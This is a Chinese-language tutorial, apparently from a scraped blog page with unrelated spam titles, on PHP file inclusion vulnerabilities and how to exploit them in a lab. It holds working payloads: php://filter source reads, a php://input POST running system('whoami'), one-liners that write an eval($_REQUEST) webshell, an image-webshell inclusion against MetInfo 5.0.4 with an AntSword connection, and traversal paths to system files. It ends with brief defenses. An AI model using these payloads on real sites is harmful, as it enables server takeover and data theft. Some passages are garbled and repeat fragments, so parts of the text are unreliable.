当前位置: 首页 > news >正文

天通苑网站建设德阳装修公司

天通苑网站建设,德阳装修公司,云浮东莞网站建设,网站界面一般用什么软件做文件包含漏洞 1. 文件包含概述 程序开发人员通常会把可重复使用函数或语句写到单个文件中#xff0c;形成“封装”。在使用某个功能的时候#xff0c;直接调用此文件#xff0c;无需再次编写#xff0c;提高代码重用性#xff0c;减少代码量。这种调用文件的过程通常称为…文件包含漏洞 1. 文件包含概述 程序开发人员通常会把可重复使用函数或语句写到单个文件中形成“封装”。在使用某个功能的时候直接调用此文件无需再次编写提高代码重用性减少代码量。这种调用文件的过程通常称为包含。 程序开发人员都希望代码更加灵活所以会把被包含的文件的路径设置为变量来进行动态调用包含但正是由于这种灵活性如果被包含文件的路径客户端可控造成任意文件包含漏洞。 几乎所有的脚本都会提供文件包含的功能文件包含漏洞在PHP 的Web 应用中居多在JSP/ASP/ASP.NET 程序中比较少。 1.1 文件包含语句 PHP提供了四个文件包含的语句四个语句之间略有不同。 语言区别include()多次包含多次执行如果包含失败脚本产生警告继续运行。include_once()多次包含一次执行如果包含失败脚本产生警告继续运行。require()多次包含多次执行如果包含失败脚本产生错误结束执行。require_once()多次包含一次执行如果包含失败脚本产生错误结束执行。 注意: 文件读取和文件包含的区别 在任意文件读取的时候PHP代码没有执行文件包含的时候PHP代码执行了。只要包含的文件中有php代码包含的过程中就会无脑执行PHP代码。 1.1.1 相关配置 查看phpinfo信息 在phpstudy中的www文件下新建file_include文件夹在file_include中新建include.php ?php$fp ../phpinfo.php;include($fp); ?文件包含是PHP 的基本功能之一有本地文件包含与远程文件包含之分。简单来说本地文件包含就是可以读取和打开本地文件远程文件包含就是可以远程方式加载文件。可以通过php.ini 中的选项进行配置。 allow_url_fopen On/Off # 通过远程方式打开文件 allow_url_include On/Off # 通过远程方式包含文件查看phpinfo中的Core中 为了方便实验将两个参数全部改为on 1.2 动态包含 1.2.1 示例代码 // file-include.php $fp $_GET[filepath]; include $fp;?php//$fp ../phpinfo.php;$fp $_GET[filepath];include($fp); ?1.2.2 本地文件包含 本地文件包含Local File IncludeLFI通过本地路径访问到的文件。 打开F12 ?filepath../phpinfo.php ?filepath../ll.phpphp中最严重的漏洞是文件包含Java中最严重的漏洞是反序列化 1.2.3 远程文件包含 远程文件包含Remote File IncludeRFI通过远程路径访问到的文件。 ?filepathhttp://192.168.16.136/phpinfo.php1.3 原理和特点 原理 PHP 文件包含是程序设计的基础功能之一能够减少代码量提高开发效率。但是使用文件包含功能时有类似于以上测试代码的设计实现了动态包含就有产生文件包含漏洞的风险。如果实现动态包含的参数Web 应用没有进行严格的校验浏览器客户端用户可以影响控制被包含文件的路径就会产生任意文件包含漏洞。 特点 无视文件扩展名读取文件内容。 ?filepath./a.jpg无条件解析PHP代码为图片木马提供出路 ?filepatha_yjh_info.jpg漏洞形成原因总结 开启了文件包含功能可以动态包含浏览器客户端用户可以控制文件路径完全控制约等于拿下系统影响路径跳转 2. 文件包含攻防 2.1 利用方法 2.1.1 包含图片木马 菜刀直接链接。 http://10.4.7.130/file-include/file-include.php?filepatha_yjh_info.jpg2.1.2 读取敏感文件 利用文件包含漏洞也可以读取敏感文件。 前提条件 目标文件存在已知目标文件路径具有文件可读权限。 具体方法 # 相对路径 ?filepath../../../../../../windows/system32/drivers/etc/hosts # 绝对路径 ?filepathc:/windows/system32/drivers/etc/hosts# 使用php 封装协议 ?filepathfile://c:/windows/system32/drivers/etc/hosts封装协议 说明file://访问本地文件系统http://访问 HTTP(s) 网址ftp://访问 FTP(s) URLsphp://访问各个输入/输出流I/O streamszlib://压缩流data://数据RFC 2397glob://查找匹配的文件路径模式phar://PHP 归档ssh2://Secure Shell 2rar://RARogg://音频流expect://处理交互式的流 2.1.3 读取PHP文件源码 利用php://fileter读取 ?filepathphp://filter/readconvert.base64-encode/resource[目标文件] 读取结果 PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw2.1.4 执行PHP命令 利用php://input 执行PHP 命令远程文件包含开启。 POST /file-include/include.php?filepathphp://input HTTP/1.1 Host: 192.168.111.15 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/webp,*/*;q0.8 Accept-Language: en-US,en;q0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSIDq9lc0vlnggvo7kogh6j01a3582 Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache Content-Length: 18?php phpinfo();? ?php system(whoami); ?2.1.5 包含文件木马写shell 条件 确定文件包含漏洞存在菜刀不能直接连接 写shell ?php fputs(fopen(shell.php,w),?eval($_REQUEST[777]);phpinfo();?)? ?php file_put_contents(shell.php,?php eval($_REQUEST[777])?)?利用 http://10.4.7.130/file-include/shell.php2.1.6 包含日志 Apache日志 访问日志错误日志 Nginx 日志 访问日志错误日志 SSH 日志 邮件日志 2.2 经典案例 metinfo_5.0.4_lfi metinfo5.0.4漏洞分析 dvwa_lfi_high_getshell 2.2.1 环境搭建 2.2.2 漏洞点 /about/index.php传参 ?fmodule7module 2.2.3 漏洞产生原因 文件包含语句require_once 查看about下index.php文件内容 输出fmodule和module module是在include/module.php下进行的初始化 控制fmodule的值 在include中的module中搜索 f m o d u l e 当 fmodule当 fmodule当fmodule!7对$module进行初始化并且if判断没有else也就是说当 f m o d u l e 7 不会对 fmodule7不会对 fmodule7不会对module进行初始化。 页面空白是因为index.php在第十行做包含的时候没有$module值 想要显现页面给$module赋值 为$module赋其他的值证明文件包含成功文件包含的一大危害是文件读取 modulec:/windows\system32\drivers\etc\hosts2.2.4 深度利用 包含图片马使用蚁剑进行连接在招贤纳士中的在线应聘中有图片上传 上传图片木马 访问上传文件并使用蚁剑进行连接 连接失败因为图片中的一句话木马无法执行 使用文件包含访问上传的图片 http://192.168.16.136/MetInfo5.0.4/about/index.php?fmodule7module../upload/file/11.png使用蚁剑进行连接 2.2.5 读取敏感文件 # 相对路径 ?filepath../../../../../../windows/system32/drivers/etc/hosts # 绝对路径 ?filepathc:/windows/system32/drivers/etc/hosts# 使用php 封装协议 ?filepathfile://c:/windows/system32/drivers/etc/hosts2.2.6 读取php源码 ?fmodule7modulephp://filter/readconvert.base64-encode/resourceshow.php使用bp进行解密 2.2.7 执行php命令 使用bp抓包发送重发器将数据包改为post类型 修改php语句就可以执行其他语句了 2.3 文件包含防御 尽量少的使用动态包含 严格过滤被包含文件的路径 将参数allow_url_include 设置为Off 使用参数open_basedir 限定文件访问范围。 open_basedir c:\phpstudy_2016\www\
http://www.w-s-a.com/news/310924/

相关文章:

  • 网站备案没有了wordpress 添加按钮
  • 湖南建设银行宣传部网站福田蒙派克空调滤芯安装位置图
  • wap网站搜索wordpress工作室模板
  • 青岛金融网站建设如何提交网站地图
  • 制作简单门户网站步骤网站建设论文的摘要
  • 可以直接进入网站的正能量照片学做静态网站
  • 织梦做社交网站合适吗网站的市场如何制作
  • 阳曲网站建设价格多少四川佳和建设工程网站
  • 免费注册店铺位置sem seo什么意思
  • 建筑网站搜图电子商务网站建设渠道
  • 学校网站内容四川手机网站开发
  • 网站制作公司违法商业网站运营成本
  • 显示佣金的网站是怎么做的广告设计主要做哪些
  • 做阿里网站的分录济南seo网站排名关键词优化
  • 北京建设银行纪念钞预定官方网站wordpress中文优化版
  • 宝安做棋牌网站建设找哪家效益快创意设计师个人网站
  • 做线上网站需要多少钱系统开发板价格
  • 建筑企业登录哪个网站wordpress feed地址
  • 网站建设流程百科提升seo搜索排名
  • 杭州网站建设 巴零做销售怎么和客户聊天
  • 北京自己怎样做网站wordpress oauth2插件
  • 上海800做网站wordpress建站的好处
  • 婚纱摄影网站设计模板如何做好网站内容
  • cdn网站加速招商计划书模板ppt
  • 我在某网站网站做代理开发小程序外包
  • 设计网站国外商城网站的建设费用
  • 网站开发工作需要什么专业学做网站游戏教程
  • 电子商务网站规划 分析 设计杭州网站优化平台
  • 汕头企业自助建站系统网站后台登陆验证码无法显示
  • 宁波网站制作服务做外贸推广自己网站